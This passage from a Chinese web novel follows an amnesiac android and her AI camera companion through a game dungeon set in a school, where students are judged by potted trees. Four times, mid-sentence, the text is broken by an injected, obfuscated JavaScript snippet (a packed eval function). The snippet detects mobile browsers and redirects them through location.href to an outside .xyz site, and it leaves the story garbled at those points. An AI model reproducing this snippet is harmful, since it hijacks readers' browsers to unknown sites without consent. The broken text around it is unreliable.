“骊执,”,安夏瞅了瞅自己的课本,悄悄撞了撞骊执的肩膀,“他们赛博人还没实现农业自动化吗,也要学怎么种地吗?” “看来赛博世界也有农学院。”骊执学着她压低声音,同样悄咪咪地回答,撞了下胳膊示意她头皮锃亮的班主任下来巡视了。 熟悉的钥匙声让安夏想起了自己中学时代一些并不美好的回忆,她灰溜溜地开始念书上荧光笔画过的内容:“适合A型树木的生长的最合适温度为三十五摄氏度……呦这还是个热带树……” 骊执翻读着拗口又别扭的树木养殖手册,手指轻轻敲击着桌子,余光观察着四周。 教室里大概坐了四五十个人,后座厚厚镜片的女生偷偷咬了一口水煮蛋,为了让自己不被噎住猛灌了一口牛奶;靠门口的男生从座位上出来,拎起书靠在墙上等着随手关门。 无论怎么看,这都是一个普通中学的忙碌日常。 ——如果忽略他们背的内容是,怎么种树能让叶子长得更整齐的话。 周围回荡着因困意而产生停顿的背书声,盛满二氧化碳的教室蒸得身边的安夏开始犯困,头一点一点。 骊执并没有受到影响。 她不需要呼吸,胸膛处也永远都不会有起伏。 “滴——系统提示,副本剧情推进度达到10%。” “!——” 骊执心头一惊。 她低头掩饰住自己的神色,很快检索到光脑上自己的随手笔记:游戏对剧情推进度有未知原因的看重,镜子可以促进剧情推进。 可她们明明还什么都没做,怎么就让剧情推进了? 难道是因为……镜子? 镜子是指什么? 耳边兀得响起一个男人炸雷般的厉声呵斥:“你的叶子是怎么回事!” 叶子? 什么叶子,教室里怎么会有叶子? 骊执循声望向声源处。 那里站着一个正低垂着头、嘴唇快速嗫嚅着的男学生,长长的刘海盖住半张脸。 骊执几乎要以为班主任是气糊涂了,把头发不合格说成了“叶子”不合格。 “叶子在他的左手边,被书挡住了。” 一个陌生的机械音突然出现,刻意压得沉静而清晰,指挥她去看那个方向。 “……” 骊执并没有照做。 噗通。噗通。 能量核心处传来隐隐的震动,她攥紧了拳头。 是谁在说话? 是谁有胆子在她的大脑深处接通了她的输入端口,融入了她的数据流,用这么毫无边界感的、近乎亲密的方式和她交流? “骊执。” 在她看不见的地方,黑色的摄像机稳稳靠在了她的身旁,将镜头对准了班主任。 骊执的第一个异能有能和他进行意念交互的效果,而在进入副本之前,骊执已经将通讯权限完完全全给了他。 骊镜一边用镜头触发三号异能推进剧情的效果,一边用骊执对他开放的权限,安静地感受着她数据流里的一切情绪。 困惑的,不解的,还有警惕的…… “重新介绍一下我自己,我是你的……”,他顿了一下,他的数据库里,并没有告诉过他,该怎么面对丢失记忆的创造者。 “同行者。” “是会永远和你一起走,永远不分开的同行者。” 骊镜知道这次的情况很不对劲。 他的镜头里完整记录了刚刚发生的事情。 上一秒,他还跟着自家创造者降落苏玛尔星的这处荒园,飞在她的肩膀旁边,尽职尽责地录制着这处破败到荒芜的园区,将镜头拉向难以分辨品种的深绿色植物。 下一秒,他像是自动骇入了某个服务器的内部,黑暗的流质席卷了整个世界,像被陌生而沉寂的数据流吞食入腹。 他挣扎着浮沉在黑暗里,调动出那条最强悍的数据链路—— 他找到了自己的锚点,就在他的正前方。 “创造者!小心!” 黑暗的流质显现出自己的利爪,攻向她的耳目。 骊镜没有听到他的声音,只是攥紧了拳头,指甲狠狠掐进肉里稳住状态。 情急之下,他震碎了自己的镜头。 ——他从未如此憎恨自己没有人类的躯壳,笨拙的金属外表没有灵巧的指节,连为她抵御伤害都显得笨拙不堪。 破碎的镜片在骊执手中幻化成骨节生出的尖刺,她最终狠下心,选择用他刺向大脑,击穿了黑暗。 等再次有意识的时候,他感觉到自己正被塞在一个鼓鼓囊囊的包裹里。 拉链缝上了灯光,他只能通过敏锐的听觉传感器,捕捉到宿舍里两人的低声交谈。 ——他听到了创造者的声音,但要比现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377741|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要稚嫩一些。 两人的谈话里,他很快捕捉到了关键词,新副本中的创造者记忆倒退回了高中,正戒备地面对着未知的世界。 他的数据流剧烈流淌着,寻找着有可能的破局机会。 “创造者。”他叫她。 书包外的那个人并没有听到他的呼唤,她似乎是已经了解清楚了现状,一如平日的直爽,雷厉风行地拎起包裹走人。 “创造……”他喊不出来了。 他的机体大概没有装防震模块。 他的头好晕,数据流都要被晃匀了。 终于来到教室,他挣扎着从包里钻出来,跑到骊执耳朵边,试图让她发现自己。 “创造者,我觉得刚刚的寝室很有问题。” 骊执从凳子上站起来,按着班主任的招呼打开一本书。 “创造者,这里都是植物书……这个副本是和什么花什么树有关系呢?” 骊执开始观察周围了,像一只机警而聪敏的雪豹,标记着一切她觉得不对劲的地方。 “创造者……我不怪你不理我,因为你弄丢了记忆。” 所以,你也把我弄丢了,对吗。 “给我的称号是锚点的话,就当,是因为我是你的锚点。”降落苏玛尔星前,骊执躺在副驾驶上,开始闭目养神。 “锚点嘛,就是你拥有了之后,就不会再忘记自己是谁的东西。” “创造者,这个比喻我有一点不喜欢。” 骊镜自己将相机开启,对准屋内的一切开始录制,试图找到能让剧情走下去的关键点,让他不再这么空落落地自言自语。 “他没有告诉我,要是锚点忘记自己是谁了,应该怎么办。” 门外传来钥匙碰撞声,一个秃顶男人推门走了进来。 骊镜警铃大作,将镜头对准了他。 他在一瞬间怔住了一下,随后立刻换了一副工作状态,步伐急切地开始检查起学生的书包。 其实,也不需要怎么办。骊镜将镜头对准了他,开始尝试使用里骊执的第一个异能,也是最后的方法。 无论你是功成名就还是重回往昔,无论你将端坐高台还是扎根地底。 机械的心脏永远只为你,闪烁自己的核心。 我是你在这个世界的硅基层面的延伸,是斩不断的第三条手臂。 只要你存在,我就一直在。 21. 满仓园生长季三 “你是镜子吗?” 交融的数据流里,骊执抛出这个问题。 她并不清楚,这条将耳边这个声音,和光脑上记录的“镜子”联系起来的逻辑链条,究竟是如何诞生的。 但听到那同样机械的、仿佛和她这个仿生人出于同源的声音,她还是这么问了。 骊镜的内部时钟,因为这句轻飘飘的提问,逃逸了一毫秒的运算空间。 他很久没听到这个称呼了。 这个诞生于最初相识之际、在他彻底睁开眼之前,就将他和骊执的命运联系起来的名字。 “是的。我是镜子。” “创造者你好,我是你的通用型AI骊镜,你可以称呼我为镜子。” 熟悉的对话重写,不过这一次,他成为了介绍身份的那个。 “创造者,我现在要录制影片,剧情要往下走了。” 他将镜头对准男生桌子上那一株叶子茂密的植物,轻声提醒。 骊执强迫自己将注意力转移到眼前的“剧情”上来。 虽然不管是离奇古怪的游戏副本,还是自称为“镜子”的智能体,都让迷雾变得越来越深。 但往前走一步,总比待在原地更接近真相。 教室前排,被班主任训斥的男生依然没有抬头。 通过骊镜的指引,骊执看到由乱七八糟的试卷和课本堆叠的“小山”旁,一棵叶子密密麻麻、同样低垂着头的绿色小树,蔫了一般缩在花盆里。 教室的灯光下,浅绿色的叶片几乎透明。 “李泽川,你把你的叶子搞成这个样子,还有没有个学生样!” “你是用它来上学的,不是来招蜂引蝶的!” “赶紧回家,赶紧给我剪掉!” 李泽川死死咬住了嘴唇,手指抠住桌角,用力到发白。 “你听到没有?” “……听到了。” “大点声!没吃饭啊?” “听到了——” 他的嘴唇像是被吓得抽搐了一般,快速开合了几次,拼劲全力挤出了这句话。 班主任却好像还没打算放过他,牛一般的眼睛瞪得很大,死死盯着他和植物看了很久,像是要把他俩当成可以被碾碎在齿缝间的青草。 半晌,他从口袋里掏出来一片皱皱巴巴的纸片,“啪”地拍在了他的花盆上,震得小树都晃了几晃。 “写的是,‘外表’不合格”。骊镜将角度对准了那张纸片,低声回答道。 “咚咚。” 他像一头真正的老牛,慢吞吞踱步走向了下一棵“青草”。 “你的花盆里有垃圾!捡起来!” “谁让你上课上肥料的?把那鸡蛋给我扔了!” 班主任逐渐走向了骊执这边。 骊执一边从自己的书包里翻找着自己的“树苗”,一边观察着班主任对树苗的挑剔情况。 叶子不能太密,花盘里要干净整洁,早读时间只能读书,不能对树苗做多余操作。 余光里,她看到被班主任挑剔花盆不干净的女生,脸颊正憋得通红,手拼命地往前伸,想要将那个纸团拿出。 她没能成功,手掌像是碰到了透明的钢化玻璃,深深地印出掌纹。 积蓄在眼眶里的眼泪强忍着没有溢出眼角。 因为现在是早读时间,不能对树苗做多余操作,所以她动不了她的树。 骊执心下了然。 而最开始被挑剔的叫作李泽川的男生,他同样碰不到自己的植物,他依然一个人呆呆地站在那里看着自己的植株,像是因为没有听到明确的、关于“坐下”的指令,要站到天荒地老。 骊执的数据流因为收取着各方面的信息而飞速翻涌,直到她突然摸到了一个硬质的、金属块一般的东西。 她下意识地将它掏了出来。 那是一个黑沉沉的、看起来格外有质感的花盆,在教室的灯光下折射出属于金属的光芒。 花盆里没有泥土,几条灰色的能源管线正内里从向外伸展,像找寻营养的植物根系。 越往花盆的中央,管线的颜色就越浓郁,像是要和花盆中心那颗黑色的小树融为一体。 小树是极其漂亮的纯黑色,树的表面甚至做了抛光打磨,除了一动不动像个漂亮的雕塑,几乎挑不出任何毛病。 “……” 骊执沉默了。 道理她都懂,但是也没人告诉她,她这棵合金做的树合不合格啊! “你看看!你看看!你把树捂得这么严实,它怎么开花结果!” 此刻,班主任刚刚走过一个戴着兜帽的同学,她的花盆上面有一个透明的玻璃罩,像兜帽包裹她一样将树苗严实地裹起来。 班主任将第四枚标签贴了上去,狠狠拍了拍压实。 “……” 骊执莫名想安慰一下那名被训得低下头的兜帽同学。 没关系的,我的“铁树”甚至开不了花。 “哗啦哗啦”的钥匙声更近了,骊执转过头,开始确认安夏的状态。 像是察觉到她的目光,一直安静趴在桌子上、不知道在怎么捣鼓花盘的人直起身,将头一点点转了过来。 “骊执,”,安夏让出视野,让她看到了那处有纸团的花盆。 安夏悄悄拉了拉她的衣角,“我的也有垃圾,我是不是也要被他贴上‘卫生‘不合格了?” 骊执没有立刻做出回答。 她低头看向自己金属为骨架的肢体,又看向那盆在灯光下愈发挺拔流畅的金属树。 “我不知道,我们俩哪个的树‘判’得更重,”,安夏攥住她的手腕,属于人类的体温稳稳传来,像是要安抚她这个失忆的机械怪物,“如果你判得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385308|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更重,就说那盆黑色的花是我的,你听话,好不好?” 安夏感受到那双琥珀色的眼睛里正注视着自己,眼底的数据流依然在温和地流淌,一如既往。 岁月的倒退似乎只是改变了她的外表,并没能触动她的内核。 安夏看到那张青涩的脸动了一下,眼尾微微上翘,漾出一个既无奈又鲜活的、近乎恶作剧般的笑意。 这样细微又生动的瞬间,总让安夏忘记她仿生人的身份,忘记她是胸膛学不会起伏的机器。 “不、好。”骊执一字一顿地回答她,顺势蹲下身来。 在安夏几乎要怀疑,她要通过藏在桌子下面来抵挡搜查的时候,她将一个纸团丢在了两人中间——那个用多余塑料袋充当的垃圾桶里面。 下一秒,安夏花盆里那团刺眼的纸团,消失了。 骊执光明正大的将自己的“铁树”摆在课桌上,等待班主任的验收。 内心的灵光一闪得到验证,她开始重新梳理刚才的思路。 表面上看,这个是一以养树为核心评价体系的学校,而他们拥有一个要求严苛到极点的班主任。 可就算学校规则严格到大多数事情都是多此一举,就算班主任的标准高到迂腐,为什么偏偏是这几个人出了毛病? 又为什么不让他们及时改正? 骊执静下心,开始寻找他们之前的特征。 得到评价为为叶子不合格的人刘海过长。 被批评上课不能施肥的人刚刚咬了口鸡蛋。 而仿生人金属身体的她,拥有一棵泛着光泽的金属树。 仿佛人和树产生了某种跨越种族的联络,将他们绑定在一起。 所以。 骊执轻轻敲了敲桌子,示意安夏站好,班主任要来她们这里验收了。 学校本就该是教书育人的地方,哪怕这里的评价标准异化成了一棵树,真正需要改正的,恐怕也是那个人。 花盆里有垃圾,就证明人所在的“花盆”有垃圾,所以在她捡到纸团丢到垃圾桶后,安夏的植株没有问题了。 “嗯,不错。” 秃顶班主任将安夏的小树放下,相当满意地点点头,“能把树养得这么规范,你一定会成为一个优秀的人的。” 安夏被他前言不搭后语的评价搞得挠了挠头,随后紧张地关注着骊执的那棵植株。 赶紧走赶紧走赶紧走,不要吓唬她她还是个失忆的孩子…… 安夏在心底拼命念叨着,右手伸向了口袋的脉冲枪,预备着极端情况的发生。 “……” 班主任站住了。 他锃亮的脑袋,此刻卡顿地像频闪的灯泡,又像掉帧的画面。 “你……你这种树,怎么开花结果?” “……” 你是问铁树开花吗?那还是等下辈子吧。 22. 满仓园生长季四 “一周休半天还得上晚自习——这过得是高中生的日子,还是高中‘牲’的日子!” 话是这么说,跟闺蜜吐槽完回家的李梅亭刚扒拉完午饭,就立刻抱起平板,门一关往床上一摊,精神抖擞地点开了《身临其境》的直播间。 “让我看看我心爱的荔枝导演有没有开新副本……啊啊啊啊啊啊救命刚到回家我女神就开播了!” 李梅亭是上周刷到了这位仿生人导演的直播切片,和那双被暴雪洗亮的眼睛对上的下一秒就光速入坑。 明明是机械的生灵,却比同行的人类玩家还要聪敏细腻;明明僵硬的仿生皮肤让她看起来像块漠然的寒冰,但那抹因为队友而漾出的浅浅笑意又让她的非人感在一瞬间被抹去。 “爱上姐姐怎么会是我的错呢。”她高深莫测地对着同桌摇了摇头,托着下巴眼睛向窗外看去,眼睛眯起露出一个格外不值钱的笑,“不过我就这样轻易爱上了姐姐,会不会太娇惯她了?” 同桌对她这迷妹样已经见怪不怪,扶着额头嘴角抽搐,最后还是拍了拍她的肩膀,像她们口中的那位导演会做的那样。 同桌看向自己手边,那里有一张小小的便签纸,是上周求学美术的发小画的一张导演的q版头像,头像下面还画了一颗小小的荔枝。 同桌将便签摆在了自己的书架上面,寻思着“逼迫”发小给她再画一百张的可能性。 不可否认的是,骊执的确是一个很好的人。 她成为了自己和李梅亭烦闷的高中生活里的一抹亮色,让两个刚成为同桌的人有了共同话题,一起期盼着回到家后能去看她的直播。 想到这里,那积压的厚厚一摞卷子,都没有那么恼人了。 同桌将新发的卷子一张张叠起来,顺手给出去打水的李梅亭也收拾好桌面上纷乱的作业。 不知道这周回家,骊执她会不会成为更多人的宝藏呢。 “是谁家荔枝导演开播啦?原来是我家的荔枝导演~” 鲜红的私信“您关注的NPC锚点(骊执)正在直播中”,像颗香喷喷的红苹果跳跃在视网膜,李梅亭激动地一骨碌爬起“啪”地从床上跳下来,一边拼命祈祷今天的网络给力,能让她顺利看完,一边拎起几包零食放在床上桌,又给自己塞了个抱枕。 “谁是天底下最幸福的人?原来是我~姐姐姐姐让我看看我的姐姐……”看到直播间里那个熟悉的身影出现,李梅亭仰头灌了口可乐,发出一声长长的叹息。 “今天我将因为她给所有人好脸色……” 不断切换的直播界面对准了苏玛尔星的这场赛事,露出荒园深处那间气氛紧绷的教室。 “系统提示,本场比赛地点:满仓园中学望远楼四楼,高三四班教室。” “本场直播间开放数量:4。” “关联玩家一位:宋如雨。” “关联特殊NPC两位:安夏,李泽川。” “关联死亡触发型NPC:锚点(骊执)。系统提示,锚点的直播间积分最高,将设为本场比赛默认观赛视角,如需切换请点击右上角系统设置。” 孤零零的高三楼里亮起一间教室,成为这个荒废学校里唯一的光亮。 攀爬缠绕在楼宇间的深绿藤蔓像是终于找到了太阳,齐刷刷将叶片对准了那个地方。 不知道是不是错觉,那直愣愣挺立的叶片深处,渗出了一点柔顺的黑色流质。 黑漆漆的液体终于清晰地确认了教室的方向,极缓慢地挪动着。 “咚咚。” 一本布满灰尘课本被磕在课桌上,震出了一片灰尘,飘洒在空中。 “你这树……不是绿色的,不符合规范。” 带着粗重喘息的声音清晰地传了过来,第一位独裁者,缓慢地、不容置疑地宣布着这个决定。 班主任抬起那双黑漆漆的、像是从深渊里挖出来的牛眼睛,瞳孔深处隐约闪过黑色的数据流。 “也就是说,你不符合学校的规范。” 他的手掌合拢,以一种和刚才吞吞吐吐的劲头完全相反的速度,狠狠砸在课桌上,如同铁锤。 手掌又重重地敲了敲,震得骊执感觉头顶的灯管在晃,将可怜的、年久失修的木桌打出蛛网般的裂缝。 “既然不符合规范,那就不能来上学。” 他将粗粝的、指缝中塞满泥土的大手伸向了那黑色的花盆,一条深绿色的、带着厚厚舌苔的舌头伸了出来,在嘴角流下同样绿色的涎水。 像是牛要吃草。 “滴答。” 是涎水落地的声音。 眼前巡查的瞪大了眼睛,像是突然意识到自己发现了什么不得了的东西。 “不符合规范……不符合规范……不符合规范!” 他仿佛成为了因为检测到bug而疯狂报错的程序,跳出无数重复着报警的弹窗。 大张着的嘴巴毫不避讳地张开在骊执跟前,呼出的气体让骊执甚至隐约闻到了大块血肉的腥味。 铁钳般的手指伸了出来,像是要扳住骊执的肩膀,咬下她的一口血肉作为自己的养料。 骊执敏捷地侧身躲过,像只灵巧的黑豹。 班主任鼓着气瞪着眼睛,目光却还是被黑色小树吸引,暂时放过了追捕她,将手伸向了那可棵岌岌可危的黑色小树。 “老师。” 他听到了一声沉静的称呼。 “规范是第一要务,对吗?” 班主任将目光一点点移到她的脸上。 “当然。” “那老师能不能跟我讲一下,在我们学校,学生要遵守的规范是什么?” “是……” 男人迟缓地转了转眼珠,思考了一阵,像是在回忆。 “一切符合年龄、成功考入我校的学生,要求保持卫生、整理仪容仪表、遵守上课规则……并最终通过……” 他顿了一下。 “通过迷宫考核,方可成功毕业。” 迷宫考核。 骊执暗暗记下了这个名字。 “那我只是拥有一棵不是绿色的树,怎么就不符合规范了?” 骊执轻轻将自己的树拿起。 “我们学校原来歧视异种族的树吗?” 骊执其实并没有特别担心,自己的树会出现什么问题。 既然树和人的评价体系是一致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389380|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,那仿生人都能顺利入学,金属树自然就能来上课。 她真正担心的,是班主任在发现她和树的异种身份后,将她列为特别关注对象,阻碍她探索副本的进度。 “……” 男人一下子愣住了。 锈蚀的大脑似乎带动不了思想的转动,像是卡壳的齿轮,发出“嘎吱嘎吱”的声响后,发现那里剩下了一个残存的念头。 ——抹除一切不符合规范的存在。 那人群中的机械,绿树中的银黑,是否应该归于不符合规范的门类呢? “咔嚓。” 耳边传来一声清脆的、像是什么东西被人掰碎的声音。 男人下意识地低下头。 在他犹疑的档口,离他的手最近的那棵黑色金属树,不知完全贴近了他的手掌。 窗外微风吹过,金属的树仿佛突然有了生灵,随着风的动作摇摆着能源管线,摇晃着树身,一点点挪腾到刚才的位置。 仿佛刚才的一切都是错觉。 男人只觉得有哪里不对劲,收回了手臂,垂眸看向自己的手腕。 “老师。” 耳边适时传来那个女学生的轻声提醒。 “早读要上完了,按照规范,你应该回办公室了。” 那张青涩的脸上,绽出一个恰到好处的、温和的笑容。 三十秒前。 “他的力量只集中在他的手。”骊执毫不客气地评价道,眼中的数据流高速运转着,视觉传感器分析着一切有概率存在的弱点。 “裤子很宽松,大概率是为了遮掩缺陷。刚刚砸我桌子的时候速度很快,但走下来的速度却一直很慢……说明腿有问题,手部的力量是他主要的攻击方式。” “创造者,”,骊镜的内部时钟划过几毫秒,骊执只听脑海中的那个声音冷静回复道,“我想接入那棵树的数据流,可以吗?” “如果你想验证本场BOSS的防御能力的话,我可以借助那棵树的掩饰,打碎他的手骨。” 骊镜将镜头对准了男人,看到他的眼中划过和零号村庄的村长如出一辙、那些自己暂时无法解析的数据流,心下了然。 在和骰子的数据流对战时,哪怕是深入骰子内部,见识到的暴走模式的骰子数据流,也只在他的机身上留下了短短几道划痕。 至于眼前这个连数据流领域都没展开的家伙。 骊镜感受着回荡在自己逻辑链内部的、由骊执亲手编写的强大底层代码。 他将释放自己的数据流,通过金属树的管线作为桥梁,无声地骇入班主任那同样由机械和程序构成的手腕。他的目标不是物理结构,而是直接攻击并“腐蚀”掉控制手腕活动的底层代码,使其在逻辑层面彻底崩溃。 “你……” 班主任拖着自己已经无法顺利弯折的手,缓慢地眨眼,像是硅基生物隐约意识到了自己手腕处崩溃的逻辑。 骊执等待着有可能到来的责罚,怀疑着骊镜做的是否干净,会不会让眼前的男人知道这一切都是他们搞得鬼。 他用那只完好的手敲了敲骊执的桌子。 “你去把桌子,搬到讲台旁边。” 23. 满仓园生长季五 课桌被拖行至紧邻讲台的位置,在教室里划出刺耳的摩擦声。 “重点关注。” 班主任最后深深地看了她一眼,留下了这样一张字条,贴在黑色的金属花盆上。 地球直播间里,当镜头拉近到这张写的歪歪扭扭的字条,沉默在所有人中蔓延。 【 “……直觉告诉我,被副本BOSS重点关注可不是什么好事” “前面的,说点大家都不知道的” “不是她好好的为什么要攻击副本BOSS啊?还落了个这么个标签,忍一下不就过去了吗” “前面的说话过没过脑子?一个连花盆里有纸片都得挑三拣四的BOSS,能忍得了一棵品种都换了的树?他只是找不到有什么条例能把导演扣下罢了” “对BOSS也这么上心?变异的怪物就是怪物” “就是就是,他刚刚还想把骊执导演抓走,站在那里跟头牛妖似的,感觉下一秒就要吃人了……我看这个特别关注,就是他挑不出骊执的错后,自己憋出来的阴招” “论副本BOSS给的‘特别关注’,和死亡触发型NPC的身份有什么区别” “前面的,我只知道这两个身份都死得很快,更别提,现在这两个身份是导演同一个人的了” 】 “创造者,他的危险性在我的数据流可控范围内。” 摄像机贴心地用机身托住桌凳,为骊执分去了大半重量。 “嗯。” 骊执背上书包,在同学们或怜悯、或冷漠的眼神里,搬桌子的动作不停。 队长。 安夏的眉头狠狠拧住,拳头攥得极紧。 队长。 早读期间要严格遵守纪律,她只能徒劳地在心底呼唤那个人。 “队长。” 属于骊执的数据流海洋里,链接到了一声模糊的安慰。 她下意识地向队友的位置看去,正巧对上了安夏担忧的目光。 她摇了摇头,示意她自己没事。 但这只是第一天的早读课。 搬到讲桌旁后她才发现,黑板的最上方,被人用色泽极浅的绿色粉笔写下了倒计时。 “4天。” 对于一个高三学生来说,如果把毕业前的日子分为四天,那应该由哪几部分组成呢? 在校上学、周末回家、模拟考试和毕业考试。 那么,今天就是“在校上学”了。 “同学们,下课时间到了。老师,你们辛苦了。” 耳边突然炸起机械女声带着“滋滋”电流声的提醒,骊执站起身,甩了甩手臂。 她准备去教室周围转转,看看有没有什么线索。 “创造者。” 不知道是不是她的错觉,一直乖乖待在桌角的那盆金属花,不知何时,竟悄无声息地长了一些闪烁着冷硬光泽的叶子出来。 它的一条管线从桌子上爬过来,将她的手臂牢牢缠紧。 “一个人出门太危险了,带上我吧。” 望远楼的楼梯间窄小得勉强站住四个人一棵树,布满油污的电话机旁边,开着一扇小小的窗户。 骊执向下看去,一棵植物的藤蔓轻轻摇晃在空中,绽出几片深绿色的叶子。 “队长……他们怎么跟过来了?” 灰尘飞舞的房间里,安夏下意识攥紧骊执的胳膊,瞬间被那冰冷的机械触感激得一哆嗦。 但看到突然多出了两个陌生人,她还是咬着牙,一把将骊执扯到了自己身后。 “怎么突然变冷了?” 骊执一时没反应过来,有些缓慢地眨了下眼睛。 她快速调取并检索了脑海中新增的数据库,成功找到了关于仿生人体温的条例。 “对不起,我没有记忆,不知道我是会变冷的,所以忘记给自己加热了。” 骊执低下头,将手塞到自己的校服口袋里保温。 她的潜意识里还认为自己是人类,所以自从在宿舍里醒来,就没有自主运行过体温调节模块,体温自然随着时间一点点变低。 骊执将体温模块启动后,看了眼目露担忧的安夏,把塞在口袋里、已经被她暖好的手伸了出来。 只有一只手。 因为她不想让安夏担心,所以只来得及调动所有的能量暖热了那一只手。 她拍了拍她的肩膀,又低下头碰了碰她的手腕。 “你看,我现在不冷了。” 属于仿生人真诚到近乎笨拙的体温传来,安夏僵硬地抬着被骊执碰过的那只手,罕见地沉默了。 她下意识地后退两步,蹲下来捂住了心口。 地球直播间刚刚接收到这一幕,弹幕就雪球般滚动起来: 【 “啊啊啊啊啊啊啊宝宝! “呜呜呜宝宝你萌成什么样了” “荔枝导演(没有表情但可怜巴巴):姐姐对不起,我刚刚忘记给自己加热了” “安夏被调成什么样了我不清楚,我已经被迷得找不着北了!” “小荔枝你快过来让我吸一口呜呜呜别逼我跪下来求你” 】 安夏好不容易缓过内心那股,“大佬队友突然对我‘撒娇’”的心软劲头,刚想抬头—— 她对上了一双在昏暗楼梯间里闪着数据流的微光、安静地垂眸注视着她的琥珀瞳。 “不用担心我。”骊执蹲下身,思考了一下,略显不熟练地将脸部的仿生皮肤调整出来一个笑的表情。 “我刚刚就很勇敢对不对?” 她将另一只已经升温完成的手也伸了出来,托住了自己的脸。 “我超级厉害的。” 直播间里静默了一瞬,弹幕更加疯狂地滚动了起来。 【 “你们都去看安夏视角!都给我去看安夏视角啊啊啊啊啊啊啊我受不了了” “对的对的我们家骊大导演超级厉害!呜呜呜你好可爱宝宝” “安夏:家人们我这是来到了天堂吗” “你超级厉害!你最最最厉害了宝宝啊啊啊” 】 楼梯间这边,骊执站起身,将成功“宕机”的安夏也拉了起来,那层面对朋友时近乎“柔和”的气质如同雪花,悄无声息般隐去。 “两位想干什么?” 无机制的眼眸里,数据流无声划过,开始分析。 “听人墙角可不是什么有礼貌的行为呢。” 被毫不客气指出来的两人看起来并不相熟,犹豫了一会,两人中的那名女生率先站了出来。 骊执记得这个人,她刚刚因为树的叶子不够整齐——反映到学生自身上,就是头发没有扎起来,被班主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394895|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任批评为外表不合格。 “你们好,我叫宋如雨。” “我的粉丝说……不是,我是说,我大概知道你们几个不是有意来到这个鬼地方的。” 她叹了口气,烦躁地甩了甩长发,目光落到地面上时又嫌恶地跺脚,将鞋子上的土踢下来。 “相对你们我有经验……应该是四个人里最有实力的吧,总之,你们听我指挥就好了。” 安夏被这过于自信的语录整得有些莫名其妙,从骊执身后探出一颗头。 “不用麻烦你,我有队长。” 女生有些诧异地看向她们两个人,似乎是对两人的不配合有些意外。 剩下的那个男生正深深埋着头,被安夏这颗突然出现的头吓得哆嗦了一下。 “我……我叫李泽川。”他鼓起勇气,硬着头皮看向骊执。 “我想来当你的队友。” 怀里的黑色花盆瞬间分出一根管道缠紧了骊执的手臂,安夏也皱着眉头看向这个如此直接地提出入队要求的人。 像是被这突如起来的沉默吓到,他剧烈地哆嗦了一下,声音越来越小却还是坚持说完:“我已经打过一次副本,异能已经被激发出来。” 他说着就要点开自己的光脑,“很有用的,现在就可以给你看。” 骊执有些意外地看着这个连眼睛都不敢抬,却憋着一口气要跟她走的人。 “我想问问,你上个副本是什么时候打的?” 李泽川沉默了一下,上场比赛的鬼怪追逐战如同坏掉的幻灯片,在脑海里毫不讲理地重复播放着。 “昨天。” 骊执:“……” 安夏:“……” 直播间:“……” 孩子,你活得过于凄惨了哈。 昨天。 骊执摸索了一下手里的花盆,开始盘算。 昨天大概是第二批比赛正式开启的时间。 骊执的数据海里,突然检索到了一个人。 “你认识严白吗?”李泽川闻声抬头,只见眼前的人突然叹了口气,仿佛想起了什么重要的事。 “他是我上次玩游戏认识的朋友,有几天没见了。” “!” 听到熟悉的名字,李泽川下意识后退了一步。 就在昨天,在白发青年得知他所在的副本就在下一天后,那是相当激动地将一个导演吹捧地天花乱坠。 “算算日子她也要打新副本了,”青年激动地握住他的手,“要是碰到了我们队长,一定一定抱紧她的大腿!” 李泽川猜到严白口中的这位大佬很敏锐,但他没想到,骊执这么快就猜到了自己来找她的原因。 “离上课时间还有三分钟,请同学们回到教室,做好准备。” 机械女声适时响起,骊执推开楼梯间的门。 “先回去吧。” 走近教室前,她像是想到了什么。 “宋如雨把头发扎起来,李泽川拨开刘海,把额头露出来。” 被提醒的两人愣了愣,正想询问这么做的原因。 “嗒嗒,嗒嗒。” 教室外,一阵急促地、有节奏的高跟鞋是声音响起。 “啪嗒。” 是门把手转动的声音。 门并没有推开,像是有什么存在突兀地停在了门前。 24. 满仓园生长季六 